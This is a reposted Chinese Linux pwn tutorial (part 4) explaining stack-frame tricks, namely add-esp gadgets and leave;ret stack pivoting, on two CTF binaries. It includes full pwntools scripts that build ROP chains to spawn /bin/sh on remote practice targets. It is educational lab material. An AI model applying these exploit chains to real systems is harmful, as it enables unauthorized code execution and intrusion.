linux栈帧机器码,Linux pwn入门教程(4)——调整栈帧的技巧

2024-03-13 17:50

本文主要是介绍linux栈帧机器码,Linux pwn入门教程(4)——调整栈帧的技巧,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

作者:Tangerine@SAINTSEC

在存在栈溢出的程序中,有时候我们会碰到一些栈相关的问题,例如溢出的字节数太小,ASLR导致的栈地址不可预测等。针对这些问题,我们有时候需要通过gadgets调整栈帧以完成攻击。常用的思路包括加减esp值,利用部分溢出字节修改ebp值并进行stack pivot等。

0x00 修改esp扩大栈空间

我们先来尝试一下修改esp扩大栈空间。打开例子~/Alictf 2016-vss/vss,我们发现这是一个64位的程序,且由于使用静态编译+strip命令剥离符号,整个程序看起来乱七八糟的。我们先找到main函数

3ba898a81433fa3dc1f00238f3fc7905.png

6de1fa5e7d42b6c53fb8e7ec7384acda.png

IDA载入后窗口显示的是代码块start,这个结构是固定的,call的函数是__libc_start_main, 上一行的offset则是main函数。进入main函数后,我们可以通过syscall的eax值,参数等确定几个函数的名字。

f5b3d33c81a7761388c6c05566e1736b.png

c3a955a226950196045a622ae4f0a156.png

sub_4374E0使用了调用号是0x25的syscall,且F5的结果该函数接收一个参数,应该是alarm

7b8ac2c6f342b913a9747a78e852ab29.png

ed098cfc93aadc4ccfe6c3248122a140.png

sub_408800字符串单参数,且参数被打印到屏幕上,可以猜测是puts

f14c4f1996cc38ba4f1c5e567bc46850.png

3138248000e19089d15fb7dc6a8fbf5a.png

sub_437EA0调用sub_437EBD,使用了0号syscall,且接收三个参数,推测为read

分析后的main函数如下:

776fc4c704c7cd52cb2aadfbb33f7333.png

被命名为verify的函数内部太过复杂,我们先暂且放弃静态分析的尝试,通过向程序中输入大量字符串我们发现程序存在溢出

eea2703bec5f50094da2e7719c7d479e.png

将断点下在call read一行,我们跟踪一下输入的数据的走向

5c64ab531e912efd9bfe008026c18d35.png

5d9b69d271ea25e3ff7fafaac424745f.png

步进verify函数,执行到call sub_400330一行和执行结果,推测出sub_400330是strncpy()

42b1db3b16329a8b1b342c3fddfa94b3.png

ebfc4aa8dfa5f5431a0c2dd678679be4.png

继续往下执行,发现有两个判断,判断输入头两个字母是否是py,若是则直接退出,否则进入一个循环,这个循环会以[zxsq-anti-bbcode-rbp+rax+dest]里的值作为循环次数对从输入开始的每个位异或0x66。由于循环次数会被修改且变得过大,循环最后会因为试图访问没有标志位R的内存页而崩溃。

0f99fc1c1ff18bf8e9f35b4514ea0b71.png

rbp + rax = 0x7FFE6CD1A040,该地址所在内存页无法访问

be5de422fee2ed563a7fc9f101e63216.png

因此我们需要改变思路,尝试一下在输入的开头加上“py”,这回发现了一个数据可控的栈溢出

8bfd779ed6fb8e03e157d5fa9ccb5877.png

通过观察数据我们很容易发现被修改的EIP是通过strncpy复制到输入前面的0x50个字节的最后8个。由于没有libc,one gadget RCE使不出来,且使用了strncpy,字符串里不能有\x00,否则会被当做字符串截断从而无法复制满0x50字节制造可控溢出,这就意味着任何地址都不能被写在前0x48个字节中。在这种情况下我们就需要通过修改esp来完成漏洞利用。

首先,尽管我们有那么多的限制条件,但是在main函数中我们看到read函数的参数指明了长度是0x400。幸运的是,read函数可以读取“\x00”

d2dea9643864c1f0012c4b1478c0eca7.png

这就意味着我们可以把ROP链放在0x50字节之后,然后通过增加esp的值把栈顶抬到ROP链上。我们搜索包含add esp的gadgets,搜索到了一些结果

9013c33713ebabad65116426b1873560.png

通过这个gadget,我们成功把esp的值增加到0x50之后。接下来我们就可以使用熟悉的ROP技术调用sys_read读取”/bin/sh\x00”字符串,最后调用sys_execve了。构建ROP链和完整脚本如下:

#!/usr/bin/python

#coding:utf-8

from pwn import *

context.update(arch = 'amd64', os = 'linux', timeout = 1)

io = remote('172.17.0.3', 10001)

payload = ""

payload += p64(0x6161616161617970)  #头两位为py,过检测

payload += 'a'*0x40                 #padding

payload += p64(0x46f205)            #add esp, 0x58; ret

payload += 'a'*8                    #padding

payload += p64(0x43ae29)            #pop rdx; pop rsi; ret 为sys_read设置参数

payload +=p64(0x8)                  #rdx = 8

payload += p64(0x6c7079)            #rsi = 0x6c7079

payload += p64(0x401823)            #pop rdi; ret 为sys_read设置参数

payload += p64(0x0)                 #rdi = 0

payload += p64(0x437ea9)            #mov rax, 0; syscall 调用sys_read

payload += p64(0x46f208)            #pop rax; ret

payload += p64(59)                  #rax = 0x3b

payload += p64(0x43ae29)            #pop rdx; pop rsi; ret 为sys_execve设置参数

payload += p64(0x0)                 #rdx = 0

payload += p64(0x0)                 #rsi = 0

payload += p64(0x401823)            #pop rdi; ret 为sys_execve设置参数

payload += p64(0x6c7079)            #rdi = 0x6c7079

payload += p64(0x437eae)            #syscall

print io.recv()

io.send(payload)

sleep(0.1)  #等待程序执行,防止出错

io.send('/bin/sh\x00')

io.interactive()

0x01 栈帧劫持stack pivot

通过可以修改esp的gadget可以绕过一些限制,扩大可控数据的字节数,但是当我们需要一个完全可控的栈时这种小把戏就无能为力了。在系列的前几篇文章中我们提到过数次ALSR,即地址空间布局随机化。这是一个系统级别的安全防御措施,无法通过修改编译参数进行控制,且目前大部分主流的操作系统均实现且默认开启ASLR。正如其名,在开启ASLR之前,一个进程中所有的地址都是确定的,不论重复启动多少次,进程中的堆和栈等的地址都是固定不变的。这就意味着我们可以把需要用到的数据写在堆栈上,然后直接在脚本里硬编码这个地址完成攻击。例如,我们假设有一个没有开NX保护的,有栈溢出的程序运行在没有ASLR的系统上。由于没有ASLR,每次启动程序时栈地址都是0x7fff0000.那么我们直接写入shellcode并且利用栈溢出跳转到0x7fff0000就可以成功getshell。而当ASLR开启后,每次启动程序时的栈和堆地址都是随机的,也就是说这次启动时时0x7fff0000,下回可能就是0x7ffe0120。这时候如果没有jmp esp一类的gadget,攻击就会失效。而stack pivot这种技术就是一个对抗ASLR的利器。

stack pivot之所以重要,是因为其利用到的gadget几乎不可能找不到。在函数建立栈帧时有两条指令push ebp; mov ebp, esp,而退出时同样需要消除这两条指令的影响,即leave(mov esp, ebp; pop ebp)。且leave一般紧跟着就是ret。因此,在存在栈溢出的程序中,只要我们能控制到栈中的ebp,我们就可以通过两次leave劫持栈。

c8965f6bc2a76e61d56199e4cf77e90c.png

e20b1c9d14ce784cb224c529ddd5cbc2.png

b58e47c993d525b4809d2d8ee69d959e.png

aeae59bb199ed875321dff3b5857e3f1.png

第一次leave; ret,new esp为栈劫持的目标地址。可以看到执行到retn时,esp还在原来的栈上,ebp已经指向了新的栈顶

567ca87e5c97798b98ce4ec55df48bae.png

7707c0054fd5b032f7048d6a91c33139.png

1c94ecdb38380c06fe048755b56f5a9f.png

第二次leave; ret 实际决定栈位置的寄存器esp已经被成功劫持到新的栈上,执行完gadget后栈顶会在new esp-4(64位是-8)的位置上。此时栈完全可控通过预先或者之后在new stack上布置数据可以轻松完成攻击

我们来看一个实际的例子~/pwnable.kr-login/login.这个程序的逻辑很简单,且预留了一个system(“/bin/sh”)后门。

6eb7825fbbec8bc68f1af005a7da8c81.png

程序要求我们输入一个base64编码过的字符串,随后会进行解码并且复制到位于bss段的全局变量input中,最后使用auth函数进行验证,通过后进入带有后门的correct()打开shell

667cc18087c54d79083463ab3dd33c7a.png

打开auth函数,我们发现这个auth的手段实际上是计算md5并进行比对,显然以我们的水平要在短时间里做到md5碰撞不现实。但万幸的是,这里的memcpy似乎会造成一个栈溢出。

c99bd41ec645a7976d549cd49e4fa18d.png

调试发现不幸的是我们不能控制EIP,只能控制到EBP。这就需要用到stack pivot把对EBP的控制转化为对EIP的控制了。由于程序把解码后的输入复制到地址固定的.bss段上,且从auth到程序结束总共要经过auth和main两个函数的leave; retn。我们可以将栈劫持到保存有输入的.bss段上。毫无疑问,base64加密前的12个字节的最后4个留给.bss段上数据的首地址0x811eb40.根据之前的推演,执行到第二次retn时esp = new esp - 4,所以头4个字节应该是填充位,中间四个字节就是后门的地址。即输入布局如下:

40bbcfb916ad5d9bef1c253e6427fd48.png

构造脚本如下:

#!/usr/bin/python

#coding:utf-8

from pwn import *

from base64 import *

context.update(arch = 'i386', os = 'linux', timeout = 1)

io = remote("172.17.0.2", 10001)

payload = "aaaa"                #padding

payload += p32(0x08049284)      #system("/bin/sh")地址,整个payload被复制到bss上,栈劫持后retn时栈顶在这里

payload += p32(0x0811eb40)      #新的esp地址

io.sendline(b64encode(payload))

io.interactive()

需要注意的是,stack pivot是一个比较重要的技术。在接下来的SROP和ret2dl_resolve中我们还将利用到这个技术。

附件

这篇关于linux栈帧机器码,Linux pwn入门教程(4)——调整栈帧的技巧的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/805682

相关文章

Ilya-AI分享的他在OpenAI学习到的15个提示工程技巧

Ilya(不是本人,claude AI)在社交媒体上分享了他在OpenAI学习到的15个Prompt撰写技巧。 以下是详细的内容: 提示精确化:在编写提示时,力求表达清晰准确。清楚地阐述任务需求和概念定义至关重要。例:不用"分析文本",而用"判断这段话的情感倾向:积极、消极还是中性"。 快速迭代:善于快速连续调整提示。熟练的提示工程师能够灵活地进行多轮优化。例:从"总结文章"到"用

linux-基础知识3

打包和压缩 zip 安装zip软件包 yum -y install zip unzip 压缩打包命令: zip -q -r -d -u 压缩包文件名 目录和文件名列表 -q:不显示命令执行过程-r:递归处理,打包各级子目录和文件-u:把文件增加/替换到压缩包中-d:从压缩包中删除指定的文件 解压:unzip 压缩包名 打包文件 把压缩包从服务器下载到本地 把压缩包上传到服务器(zip

Linux 网络编程 --- 应用层

一、自定义协议和序列化反序列化 代码: 序列化反序列化实现网络版本计算器 二、HTTP协议 1、谈两个简单的预备知识 https://www.baidu.com/ --- 域名 --- 域名解析 --- IP地址 http的端口号为80端口,https的端口号为443 url为统一资源定位符。CSDNhttps://mp.csdn.net/mp_blog/creation/editor

【Python编程】Linux创建虚拟环境并配置与notebook相连接

1.创建 使用 venv 创建虚拟环境。例如,在当前目录下创建一个名为 myenv 的虚拟环境: python3 -m venv myenv 2.激活 激活虚拟环境使其成为当前终端会话的活动环境。运行: source myenv/bin/activate 3.与notebook连接 在虚拟环境中,使用 pip 安装 Jupyter 和 ipykernel: pip instal

购买磨轮平衡机时应该注意什么问题和技巧

在购买磨轮平衡机时,您应该注意以下几个关键点: 平衡精度 平衡精度是衡量平衡机性能的核心指标,直接影响到不平衡量的检测与校准的准确性,从而决定磨轮的振动和噪声水平。高精度的平衡机能显著减少振动和噪声,提高磨削加工的精度。 转速范围 宽广的转速范围意味着平衡机能够处理更多种类的磨轮,适应不同的工作条件和规格要求。 振动监测能力 振动监测能力是评估平衡机性能的重要因素。通过传感器实时监

Linux_kernel驱动开发11

一、改回nfs方式挂载根文件系统         在产品将要上线之前,需要制作不同类型格式的根文件系统         在产品研发阶段,我们还是需要使用nfs的方式挂载根文件系统         优点:可以直接在上位机中修改文件系统内容,延长EMMC的寿命         【1】重启上位机nfs服务         sudo service nfs-kernel-server resta

滚雪球学Java(87):Java事务处理:JDBC的ACID属性与实战技巧!真有两下子!

咦咦咦,各位小可爱,我是你们的好伙伴——bug菌,今天又来给大家普及Java SE啦,别躲起来啊,听我讲干货还不快点赞,赞多了我就有动力讲得更嗨啦!所以呀,养成先点赞后阅读的好习惯,别被干货淹没了哦~ 🏆本文收录于「滚雪球学Java」专栏,专业攻坚指数级提升,助你一臂之力,带你早日登顶🚀,欢迎大家关注&&收藏!持续更新中,up!up!up!! 环境说明:Windows 10

【Linux 从基础到进阶】Ansible自动化运维工具使用

Ansible自动化运维工具使用 Ansible 是一款开源的自动化运维工具,采用无代理架构(agentless),基于 SSH 连接进行管理,具有简单易用、灵活强大、可扩展性高等特点。它广泛用于服务器管理、应用部署、配置管理等任务。本文将介绍 Ansible 的安装、基本使用方法及一些实际运维场景中的应用,旨在帮助运维人员快速上手并熟练运用 Ansible。 1. Ansible的核心概念

Linux服务器Java启动脚本

Linux服务器Java启动脚本 1、初版2、优化版本3、常用脚本仓库 本文章介绍了如何在Linux服务器上执行Java并启动jar包, 通常我们会使用nohup直接启动,但是还是需要手动停止然后再次启动, 那如何更优雅的在服务器上启动jar包呢,让我们一起探讨一下吧。 1、初版 第一个版本是常用的做法,直接使用nohup后台启动jar包, 并将日志输出到当前文件夹n